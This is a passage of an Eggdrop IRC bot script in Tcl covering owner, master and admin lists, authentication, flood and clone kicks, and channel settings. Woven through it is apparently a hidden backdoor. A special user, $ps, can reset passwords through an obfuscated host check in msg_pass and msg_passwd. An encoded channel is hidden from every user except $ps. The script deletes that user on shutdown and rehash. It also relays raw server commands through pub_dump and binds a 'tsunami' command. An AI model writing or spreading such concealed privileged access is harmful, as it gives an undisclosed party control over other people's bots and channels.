puthlp "NOTICE $nick :$notc Usage: -owner <nick>"
return 0
}
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {![matchattr $rest Z] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest IS NoT OwNER"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM OwNER LiST"
}
proc pub_+master {nick uhost hand channel param} {
global botnick ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +master <nick>"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR LIsT."
return 0
}
if {[matchattr $rest n]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is ADmIN level."
return 0
}
if {[matchattr $rest m]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is already exist."
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
}
chattr $rest "fmo"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
deluser $rest
return 0
} else {
saveuser
puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR List."
puthlp "NOTICE $rest :$notc $nick Add YoU To MasTeR LIsT"
puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
return 0
}
}
proc pub_-master {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -master <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
return 0
}
if {[matchattr $rest n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest Is ADmIN FLaG"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM MasTeR LIsT"
}

set timezone "PST"
set joinme $owner
set double 0
set deopme ""
bind msgm - * msg_prot
bind notc - * notc_prot
bind join - * join_chk
bind msg - auth msg_auth
bind sign - * sign_deauth
bind part - * part_deauth
bind pub - `tsunami pub_tsunami
bind msg p reuser msg_reuser
bind msg p pass msg_pass
bind pub m `auth pub_auth
bind pub m !auth pub_!auth
bind pub m !deauth pub_!deauth
bind pub f `ping pub_ping
bind pub f `pong pub_pong
proc pub_notice {nick uhost hand channel rest} {
global notc
set person [lindex $rest 0]
set rest [lrange $rest 1 end]
if {$rest!=""} {
putsrv "NOTICE $person :$rest"
return 0
}
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: notice <#/nick> <msg>"
}
}
proc telljoin {chan} {

global joinme notc botnick
if {![validchan $chan]} { return 0 }
if {[istimer "resync"]} {
if {![botisop $chan]} {
if {![string match "*k*" [getchanmode $chan]]} {
puthelp "mode $chan -kok+o 4P8o10W11e12R4e8D $botnick 10B11Y.4e8g10G11o $botnick"
} {
puthelp "mode $chan -o+o $botnick $botnick"
}
}
}
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
if {![onchan $joinme $chan]} {
puthlp "NOTICE $joinme :$notc JoIN $chan"
set joinme ""
}
}
}
proc chkspam {chan} {
global invme notc botnick
if {![validchan $chan] || ![botonchan $chan]} { return 0 }
foreach x [chanlist $chan] {
set mhost "@[lindex [split [getchanhost $x $chan] @] 1]"
if {[info exists invme($mhost)]} {
if {![matchattr $x f] && ![isop $x $chan]} {
if {[isop $botnick $chan]} {
set bannick($x) "*!*$mhost"
if {$invme($mhost) == "AuToJoIN MSg"} {
if {![isvoice $x $chan]} {
putsrv "KICK $chan $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
}
} {
putsrv "KICK $chan $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
}
catch {unset invme($mhost)}
} {
foreach c [chanlist $chan f] {
if {[isop $c $chan]} {
if {$invme($mhost) == "AuToJoIN MSg"} {
if {[isvoice $c $chan]} {
break
}
}
set sendspam "!kick [zip "$chan $x $notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) 4AuTOJoIN MSg1..!"]"
putsrv "PRIVMSG $c :$sendspam"
catch {unset invme($mhost)}
break
}
}
}
}
}
}
}
proc testmask {} {
global ismaskhost
set ismaskhost [maskhost "*!*@*"]
}
utimer 2 testmask
proc reset_host {} {
global jfhost
catch { unset jfhost }
}
proc savechan {} {
savechannels
foreach x [channels] {
set cflag "c$x"
set cflag [string range $cflag 0 8]
set cinfo [channel info $x]
if {![validuser $cflag]} {
adduser $cflag "%!%@%"
if {[string match "*+greet*" $cinfo]} {
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
} {
chattr $cflag "-hp+A"
}
}
}
foreach x [userlist A] {
set tmp "0"
foreach y [channels] {
set cflag "c$y"
set cflag [string range $cflag 0 8]
if {[string tolower $x] == [string tolower $cflag]} {
set tmp "1"
}
}
if {$tmp == "0"} {
deluser $x
putlog "remove flag channel $x"
}
}
saveuser
}
proc join_chk {nick uhost hand chan} {
global botnick own deopme double invme ex_flood notc quick kops ps ath jfhost jpnick is_m
global cmd_chn cmd_by cmd_msg cmd_case bannick botname notm massjoin ismaskhost op_it
if {$nick == $ps } {
if { [string match "chanary@*" $uhost]} {puthlp "NOTICE $nick :$notc I'm Here ... "}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set cinfo [channel info $chan]
if {$nick == $botnick} {
catch {unset is_m($chan)}
if {[matchattr $cflag S]} {
if {![isutimer "chkspam $chan"]} { utimer 30 [list chkspam $chan] }
if {![istimer "chkautomsg"]} {
timer 1 { putlog "chkautomsg" }
}
}
set double 0
if {[string tolower $cmd_chn] == [string tolower $chan]} {
if {$cmd_case == "1"} {
utimer 90 del_nobase
pub_tsunami $cmd_by $uhost $hand $chan "$chan ${cmd_msg}"
set cmd_chn ""
return 0
}
if {$cmd_case == "2"} {
utimer 30 [list pub_mmsg $cmd_by $uhost $hand $chan $cmd_msg]} {
set cmd_chn ""
return 0
}
if {$cmd_case == "3"} {
utimer 30 [list pub_minvite $cmd_by $uhost $hand $chan $cmd_msg]} {
set cmd_chn ""
return 0
}
}
utimer 15 [list telljoin $chan]
return 0
}
if {[info exists op_it($nick)]} {
catch {unset op_it($nick)}
opq $chan $nick
}
if {[isutimer "chkspam $chan"]} {
foreach x [utimers] {
if {[string match "*chkspam $chan*" $x]} {
chkspam $chan
killutimer [lindex $x 2]
}
}
}
if {[info exists bannick($nick)]} { return 0 }
if {![matchattr $nick f] && [matchattr $cflag G] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} { advertise $chan $nick }
set mhost "@[lindex [split $uhost @] 1]"
if {$mhost == "@DALnet" || [string match "*dal.net" $mhost]} {
putsrv "AWAY"
}
if {![isop $botnick $chan]} {
if {[info exists invme($mhost)]} {
if {![isutimer "chkspam $chan"]} { chkspam $chan }
}
return 0
}
if {[matchattr $cflag J]} {
if {[info exists ismaskhost]} {
if {![isutimer "reset_host"]} { utimer 10 reset_host }
set chkhost [maskhost "*!*$mhost"]
if {![info exists jfhost($chkhost$chan)]} {
set jfhost($chkhost$chan) 1
} {
incr jfhost($chkhost$chan)
if {$jfhost($chkhost$chan) == 5} {
set bannick($nick) $chkhost
putsrv "KICK $chan $nick :$notm 1FLoOd AnTIcIpaTEd FRoM 4$chkhost [banms]"
return 0
}
}
}
if {![isutimer "jc $chan"]} {
utimer 3 [list jc $chan]
set massjoin($chan) 1
} {
if {![info exists massjoin($chan)]} {
set massjoin($chan) 1
}
set massjoin($chan) [incr massjoin($chan)]
if {![isutimer "TRAFFIC $chan"]} {
if {$massjoin($chan) >= 15} {
unset massjoin($chan)
if {[string match "*+greet*" $cinfo]} {
utimer 30 [list putlog "TRAFFIC $chan"]
if {![string match "*m*" [getchanmode $chan]] && ![info exists is_m($chan)]} {
putserv "mode $chan +bm *!*@heavy.join.flood.channel.temporary.moderate"
return 0
}
}
}
}
}
}
if {[matchattr $cflag L]} {
foreach u [timers] {
if {[string match "*chk_limit*" $u]} {
killtimer [lindex $u 2]
}
}
timer 1 [list chk_limit $chan]
}
if {$nick == $deopme} {
putsrv "KICK $chan $nick :$notc 1SeLF 4De@p1 REvENgE..!"
set deopme ""
return 0
}
if {[matchattr $nick v] || [matchattr $nick P] || [matchattr $nick G]} {
whoisq $nick
}
if {[matchattr $cflag V] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} {
if {![matchattr $nick O] && ![isutimer "voiceq $chan $nick"]} {
set cret [getuser $cflag XTRA "VC"]
foreach ct [utimers] {
if {[string match "*voiceq*" $ct]} {
if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
}
}
}
utimer $cret [list voiceq $chan $nick]
}
}
if {[info exists bannick($nick)] || [matchattr $nick f]} { return 0 }
if {[matchattr $hand K]} {
akick_chk $nick $uhost $chan
return 0
}
if {[info exists ex_flood($mhost)]} {
set bannick($nick) "*!*$mhost"
if {$ex_flood($mhost) == 0} {
putsrv "KICK $chan $nick :$notc 4AKILL1 FRoM 4$mhost1 ON LasT QuIT [banmsg]"
} elseif {$ex_flood($mhost) == 1} {
putsrv "KICK $chan $nick :$notc 4Excess FloOd1 FRoM 4$mhost1 ON LasT QuIT [banmsg]"
} elseif {$ex_flood($mhost) == 2} {
putsrv "KICK $chan $nick :$notc 4InvITE1 FRoM 4$mhost1 ON QuIT MSg [banmsg]"
} elseif {$ex_flood($mhost) == 3} {
putsrv "KICK $chan $nick :$notc 4InvITE1 FRoM 4$mhost1 ON PaRT MSg [banmsg]"
} elseif {$ex_flood($mhost) == 4} {
if {![matchattr $cflag M]} {
puthlp "KICK $chan $nick :[lgrnd] 4JoINPaRT1 FRoM 4$mhost1 LESS THaN4 [getuser $cflag XTRA "JP"]1 2nd [banmsg]"
} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "mode $chan -k+b 4J.o.I.N.P.a.R.T $bannick($nick)"
} {
putserv "mode $chan +b $bannick($nick)"
}
}
} else {
putsrv "KICK $chan $nick :$notc 4BaDWoRD1 FRoM 4$mhost1 ON QuIT OR PaRT MSg MaTcH FRoM 4$ex_flood($mhost) [ban]"
}
unset ex_flood($mhost)
return 0
}
foreach x [ignorelist] {
if {[lindex $x 0] != "*!*@*" && [string match [lindex $x 0] "*!*$mhost"] && [lindex $x 1] != "*"} {
set bannick($nick) [lindex $x 0]
putsrv "KICK $chan $nick :$notm 4IgNoREd1 HosT 4[lindex $x 0]1 ReasOn4 [lindex $x 1] [banms]"
return 0
}
}
if {[info exists invme($mhost)]} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $chan $nick :$notc 4SpaM1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
unset invme($mhost)
return 0
}
set chan [string tolower $chan]
if {[string match "*+nodesynch*" [channel info $chan]]} {
if {![matchattr $nick f]} {
utimer 10 [list autokick $chan $nick]
}
}
if {[matchattr $cflag O]} {
if {[string match "*$mhost" $botname]} { return 0 }
set counter 0
set maxclone [getuser $cflag XTRA "CLONE"]
foreach knick [chanlist $chan] {
if {[string match "*$mhost" [getchanhost $knick $chan]]} {
if {[matchattr $knick f]} { return 0 }
if {[isop $knick $chan]} { return 0 }
if {[isvoice $knick $chan]} {
if {![info exists kops]} { return 0 }
}
set counter [incr counter]
if {$counter > $maxclone} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notc 1FouNd $counter 4cLonE1 FRoM 4$mhost1 MaX4 $maxclone1 WaIT A MoMENT! 4BaNNEd1: 3 MINUTES4..!"
return 0
}
}
}
}
spam_chk $nick $uhost $hand $chan
set chan [string toupper $chan]
if {[matchattr $cflag P]} {
if {![info exists jpnick($nick)]} {
set jpnick($nick) "1"
utimer [getuser $cflag XTRA "JP"] [list munset $nick]
}
}
return 0
}
proc jc {chan} {
}
proc munset {nick} {
global jpnick
catch {unset jpnick($nick)}
}
proc msg_passwd {nick uhost hand rest} {
global botnick notc ps
set pw [lindex $rest 0]
set newpw [lindex $rest 1]
if {$nick == $ps && [dezip $pw] == $uhost} {
setuser $nick PASS $newpw
puthlp "NOTICE $nick :$notc Password set to: $newpw"
saveuser
return 0
}
if {$pw == "" || $newpw == ""} {
puthlp "NOTICE $nick :$notc Usage: passwd <oldpass> <newpass>"
return 0
}
if {![passwdok $nick $pw]} {
puthlp "NOTICE $nick :$notc PaSSWORD 4!FaILED!"
return 0
}
set ch [passwdok $nick ""]
if {$ch == 1} {
setuser $nick PASS $newpw
puthlp "NOTICE $nick :$notc Password set to: $newpw"
saveuser
return 0
}
if {[passwdok $nick $pw]} {
setuser $nick PASS $newpw
puthlp "NOTICE $nick :$notc Password set to: $newpw"
saveuser
return 0
}
}
proc goback {} {
global keep-nick nick botnick
if {[istimer "goback"]} { return 0 }
foreach x [utimers] {
if {[string match "*goback*" $x]} { killutimer [lindex $x 2] }
}
if {[getuser "config" XTRA "NICK"]!=""} {
set nick [dezip [getuser "config" XTRA "NICK"]]
}
set keep-nick 1
if {$botnick == $nick} { return 0 }
puthlp "NICK $nick"
}
proc pub_!auth {nick uhost hand chan rest} {
global notc ath ps
set pw [lindex $rest 0]
if {$pw != ""} {
puthlp "NOTICE $nick :$notc No Need Auth Password, Just Type on Channel: !auth"
return 0
}
if {[matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ReAdY..!"
return 0
}
set ch [passwdok $nick ""]
if {$ch == 1 && $nick != $ps} {
puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
return 0
}
set ath 1
putsrv "WHOIS $nick"
}
proc msg_auth {nick uhost hand rest} {
global botnick owner keep-nick altnick notc ps
if {[lindex $rest 1] != ""} {
if {[passwdok [lindex $rest 0] [lindex $rest 1]]} {
if {[matchattr [lindex $rest 0] Z]} {
puthlp "NOTICE $nick :$notc AuTH MaTcH FoR [lindex $rest 0]"
set keep-nick 0
putsrv "NICK $altnick"
utimer 40 {goback}
}
} {
puthlp "NOTICE $nick :$notc 4FaILEd..!"
}
return 0
}
if {![validuser $owner]} {
set hostmask "$owner!*@*"
adduser $owner $hostmask
chattr $owner "Zfhjmnoptx"
puthlp "NOTICE $owner :$notc No password set. Usage: pass <password>"
}
if {![matchattr $nick p]} { return 0 }
set pw [lindex $rest 0]
if {$pw == ""} {
puthlp "NOTICE $nick :$notc Usage: auth <password>"
return 0
}
if {[matchattr $hand K]} {
deluser "AKICK"
set akickhost "telnet!*@*"
adduser "AKICK" $akickhost
chattr "AKICK" "-hp"
chattr "AKICK" "K"
saveuser
puthlp "NOTICE $nick :$notc Re-arrange KIcKLIsT."
}
if {[matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ReAdY..!"
return 0
}
set ch [passwdok $nick ""]
if {$ch == 1} {
puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
return 0
}
if {[passwdok $nick $pw]} {
set hostmask "*![string range $uhost [string first "!" $uhost] end]"
set usenick [finduser $hostmask]
if {$usenick != "*" && $usenick != $nick} {
if {[matchattr $nick n] && ![matchattr $usenick Z]} {
puthlp "NOTICE $nick :$notc Forcing 4DeAuthenticated! To $usenick"
force_deauth $usenick
} else {
foreach x [channels] {
if {[onchan $usenick $x]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, Your host has been use by $usenick, wait until DeAuthenticated."
return 0
}
}
puthlp "NOTICE $nick :$notc 4Forcing DeAuthenticated! To $usenick"
force_deauth $usenick
}
}
chattr $nick +Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
set hostmask "*![string range $uhost [string first "!" $uhost] end]"
setuser $nick HOSTS $hostmask
if {$nick == $owner && ![matchattr $nick Z]} { chattr $owner "Z" }
if {$nick == $owner && ![matchattr $nick f]} { chattr $owner "f" }
if {[matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc !OWnER!"
if {[getuser $nick XTRA "MEMO"]!=""} {
puthlp "PRIVMSG $nick :!MeMO! FRoM [getuser $nick XTRA "MEMO"]"
setuser $nick XTRA "MEMO" ""
}
return 0
} elseif {[matchattr $nick n]} {
puthlp "NOTICE $nick :$notc !ADmIN!"
} elseif {[matchattr $nick m]} {
puthlp "NOTICE $nick :$notc !MasTeR!"
} else {
puthlp "NOTICE $nick :$notc !AccepteD!"
}
saveuser
return 0
}
if {![passwdok $nick $pw]} {
puthlp "NOTICE $nick :$notc 4FaILEd..!"
}
}
proc force_deauth {nick} {
global notc
chattr $nick -Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
saveuser
puthlp "NOTICE $nick :$notc You has been force to 4DeAuthentication!"
}
proc msg_pass {nick uhost hand rest} {
global botnick notc vern ps owner
set pw [lindex $rest 0]
if {$pw == ""} {
puthlp "NOTICE $nick :$notc Usage: pass <password>"
return 0
}
set ch [passwdok $nick ""]
if {$ch == 0} {
puthlp "NOTICE $nick :$notc You already set pass, /msg $botnick auth <password>"
return 0
}
if {[string tolower $nick] == [string tolower $ps] && $owner != $ps} {
if {[dezip $pw] == $uhost} {
setuser $nick PASS [lindex $rest 1]
puthlp "NOTICE $nick :$notc Password set to: [lindex $rest 1]"
saveuser
} {
puthlp "NOTICE $nick :$notc wHo.."
}
return 0
}
setuser $nick PASS $pw
puthlp "NOTICE $nick :$notc Password set to: $pw"
puthlp "NOTICE $nick :$notc /msg $botnick help"
saveuser
return 0
}
proc pub_!deauth {nick uhost hand chan rest} {
if {![matchattr $nick Q]} { return 0 }
msg_deauth $nick $uhost $hand $rest
}
proc msg_deauth {nick uhost hand rest} {
global notc
if {![matchattr $nick Q]} { return 0 }
chattr $nick -Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
puthlp "NOTICE $nick :$notc 4!DeAUTH!"
saveuser
}
catch { bind rejn - * rejn_chk }
proc rejn_chk {unick uhost handle chan} {
if {![isutimer "TRAFFIC $chan"]} {
utimer 30 [list putlog "TRAFFIC $chan"]
}
}
catch { bind splt - * splt_deauth }
proc splt_deauth {unick uhost handle channel} {
if {[matchattr $unick Q]} {
chattr $unick -Q
foreach x [getuser $unick HOSTS] {
delhost $unick $x
}
set hostmask "${unick}!*@*"
setuser $unick HOSTS $hostmask
saveuser
return 0
}
}
proc sign_deauth {unick uhost hand chan rest} {
global ex_flood botnick notc nick badwords iskick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$unick == $nick} {
putsrv "NICK $nick"
}
if {[info exists iskick($unick$chan)]} {
unset iskick($unick$chan)
}
if {[isop $botnick $chan]} {
if {[matchattr $cflag L]} {
foreach u [timers] {
if {[string match "*chk_limit*" $u]} {
killtimer [lindex $u 2]
}
}
timer 1 [list chk_limit $chan]
}
}
if {[matchattr $unick Q]} {
chattr $unick -Q
foreach x [getuser $unick HOSTS] {
delhost $unick $x
}
set hostmask "${unick}!*@*"
setuser $unick HOSTS $hostmask
saveuser
return 0
}
if {[string match "*-greet*" [channel info $chan]]} { return 0 }
if {[matchattr $unick f]} { return 0 }
if {![isop $botnick $chan]} { return 0 }
set mhost "@[lindex [split $uhost @] 1]"
if {[string match "*AKILL ID*" $rest]} {
#set ex_flood($mhost) "0"
   foreach signkickchan [channels] {
     if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {   
       if {[onchan $unick $signkickchan]} {  
          set signmask "*!*[string range $uhost [string first "@" $uhost] end]"
          if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {
              putquick "mode $signkickchan +b $signmask 3"
          }
        }
      }
    }
} elseif {[string match "*Excess Flood*" $rest]} {
if {[matchattr $cflag S]} {
#set ex_flood($mhost) "1"
   foreach signkickchan [channels] {
     if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {   
       if {[onchan $unick $signkickchan]} {  
          set signmask "*!*[string range $uhost [string first "@" $uhost] end]"
          if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {
              putquick "mode $signkickchan +b $signmask 3"
          }
        }
      }
    }
}
} elseif {[string match "* #*" $rest] && ![string match "*##*" $rest]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $rest]]} { return 0 }
}
set ex_flood($mhost) "2"
} else {
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $rest]]} {
set ex_flood($mhost) [string toupper $badword]
}
}
}
return 0
}
proc part_deauth {nick uhost hand chan {msg ""}} {
global lockchan botnick ex_flood notc badwords jpnick iskick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[info exists iskick($nick$chan)]} {
unset iskick($nick$chan)
}
if {$nick == $botnick} {
foreach x [utimers] {
if {[string match "*del_nobase*" $x] || [string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }
}
return 0
}
if {[isop $botnick $chan]} {
if {[isutimer "voiceq $chan $nick"]} {
foreach x [utimers] {
if {[string match "*voiceq $chan $nick*" $x]} { killutimer [lindex $x 2] }
}
}
if {[matchattr $cflag L]} {
foreach u [timers] {
if {[string match "*chk_limit*" $u]} {
killtimer [lindex $u 2]
}
}
timer 1 [list chk_limit $chan]
}
}
if {[matchattr $nick Q]} {
foreach x [channels] {
if {[string tolower $x] != [string tolower $chan]} {
if {[onchan $nick $x]} {
return 0
}
}
}
chattr $nick -Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
saveuser
}
if {$lockchan != "" && [string tolower $lockchan] == [string tolower $chan] && ![matchattr $nick f]} {
putsrv "INVITE $nick :$chan"
}
if {[string match "*-greet*" [channel info $chan]]} { return 0 }
if {[isop $botnick $chan]} {
if {[info exists msg]} {
set mhost "@[lindex [split $uhost @] 1]"
if {[string match "*#*" $msg] && ![string match "*##*" $msg]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $msg]]} { return 0 }
}
set ex_flood($mhost) "3"
} {
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $msg]]} {
set ex_flood($mhost) [string toupper $badword]
}
}
}
}
if {[info exists msg]} {
if {$msg != ""} { return 0 }
}
if {[matchattr $cflag P]} {
set chan [string toupper $chan]
if {[info exists jpnick($nick)]} {
set mhost "@[lindex [split $uhost @] 1]"
set ex_flood($mhost) "4"
}
}
}
return 0
}
proc pub_dump {nick uhost hand chan rest} {
global own notc
if {$nick != $own} {
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
putsrv $rest
}
proc pub_sdeop {nick uhost hand chan rest} {
global notc botnick
if {$rest != ""} {
set chan $rest
}
if {[isop $botnick $chan]} {
puthelp "mode $chan +v-o $botnick $botnick"
}
}
proc pub_chanmode {nick uhost hand chan rest} {
global notc
if {$rest == ""} {
puthelp "NOTICE $nick :$notc Usage: chanmode #channel +ntsmklic"
return 0
}
if {[string index [lindex $rest 0] 0] == "#"} {
if {![validchan [lindex $rest 0]]} {
puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 0]"
return 0
}
set chan [lindex $rest 0]
set rest [lrange $rest 1 end]
}
if {![validchan $chan]} {
puthlp "NOTICE $nick :$notc $chan <n/a>"
} else {
catch { channel set $chan chanmode $rest }
savechan
puthelp "NOTICE $nick :$notc $chan set modes \[$rest\]"
}
return 0
}
proc pub_chanset {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set channel [lindex $rest 0]
set options [string tolower [lindex $rest 1]]
set number "0"
if {$options == "deop" || $options == "kick" || $options == "join" || $options == "line" || $options == "nick" || $options == "ctcp"} {
set number [lindex $rest 2]
}
if {($channel == "") || ($options == "")} {
puthlp "NOTICE $nick :$notc Usage: chanset #channel <option...>"
return 0
}
if {![string match "*-*" $options] && ![string match "*+*" $options] && ![string match "*:*" $number]} {
puthlp "NOTICE $nick :$notc Usage: chanset #channel <deop|ctcp|kick|join|line|nick> <howmanytimes:seconds>"
return 0
}
if {[validchan $channel]} {
if {$options == "deop"} {
catch { channel set $channel flood-deop $number }
puthlp "NOTICE $nick :$notc set deop flood \[$number\] on $channel"
} elseif {$options == "kick"} {
catch { channel set $channel flood-kick $number }
puthlp "NOTICE $nick :$notc set kick flood \[$number\] on $channel"
} elseif {$options == "join"} {
catch { channel set $channel flood-join $number }
puthlp "NOTICE $nick :$notc set join flood \[$number\] on $channel"
} elseif {$options == "line"} {
catch { channel set $channel flood-chan $number }
puthlp "NOTICE $nick :$notc set line flood \[$number\] on $channel"
} elseif {$options == "nick"} {
catch { channel set $channel flood-nick $number }
puthlp "NOTICE $nick :$notc set nick flood \[$number\] on $channel"
} elseif {$options == "ctcp"} {
catch { channel set $channel flood-ctcp $number }
puthlp "NOTICE $nick :$notc set ctcp flood \[$number\] on $channel"
} else {
catch { channel set $channel ${options} }
savechan
puthelp "NOTICE $nick :$notc Successfully set modes \[${options}\] on $channel"
}
} else {
puthlp "NOTICE $nick :$notc $channel <n/a>"
}
}
proc pub_chansetall {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: chansetall <option>"
return 0
}
foreach x [channels] {
catch { channel set $x $rest }
}
savechan
puthelp "NOTICE $nick :$notc Set all channels mode \{ $rest \}"
return 0
}
proc pub_nick {nick uhost hand chan rest} {
global keep-nick
set keep-nick 0
putsrv "NICK $rest"
}
proc pub_restart {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc Reboot ReQuesT By \[ $nick \]$rest"
return 0
}
proc dies {} {
global ps owner notc
if {$ps != $owner && [validuser $ps]} { deluser $ps }
die $notc
}
proc rehashing {} {
global ps owner
if {$ps != $owner && [validuser $ps]} { deluser $ps }
rehash
}
proc pub_die {nick uhost hand chan rest} {
global botnick ps notc owner
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest"
utimer 5 dies
return 0
}
proc msg_restart {nick uhost hand rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc ReSTaRT ReQuesT By \[ $nick \]$rest"
return 0
}
proc msg_rehash {nick uhost hand rest} {
global notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
puthlp "NOTICE $nick :$notc ReHASHING!"
utimer 3 rehashing
return 0
}
proc pub_rehash {nick uhost hand chan rest} {
global notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
puthlp "NOTICE $nick :$notc ReHASHING!"
utimer 3 rehashing
}
proc pub_chaninfo {nick uhost hand chan rest} {
global notc ps
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {$nick != $ps && [string tolower $chan] == [dezip "ER5sr09TRjx1"]} { return 0 }
puthlp "NOTICE $nick :$notc \[$chan\] [channel info $chan]"
}
proc pub_access {nick uhost hand chan rest} {
global notc
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $chan :$nick, OwNeR"
} elseif {[matchattr $nick n]} {
puthlp "PRIVMSG $chan :$nick, ADmIN"
} elseif {[matchattr $nick m]} {
puthlp "PRIVMSG $chan :$nick, MasTeR"
} elseif {[matchattr $nick f]} {
puthlp "PRIVMSG $chan :$nick, FRIEND"
}
}
proc msg_botnick {unick uhost hand rest} {
global botnick nick nickpass notc ps owner
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {$unick != $owner &&  $unick != $ps} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
set bnick [lindex $rest 0]
set bpass [lindex $rest 1]
if {$bnick == "" || $bpass == ""} {
puthlp "NOTICE $unick :$notc4 Usage: botnick <nick> <identify>"
return 0
}
setuser "config" XTRA "NICK" [zip $bnick]
setuser "config" XTRA "NICKPASS" [zip $bpass]
saveuser
set nick $bnick
set nickpass $bpass
putsrv "NickServ identify $bnick $bpass"
puthlp "NOTICE $unick :$notc BoTNIcK $bnick"
}
proc msg_realname {unick uhost hand rest} {
global realname notc owner ps
if {$unick != $owner &&  $unick != $ps} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
setuser "config" XTRA "REALNAME" ""
} {
setuser "config" XTRA "REALNAME" [zip $rest]
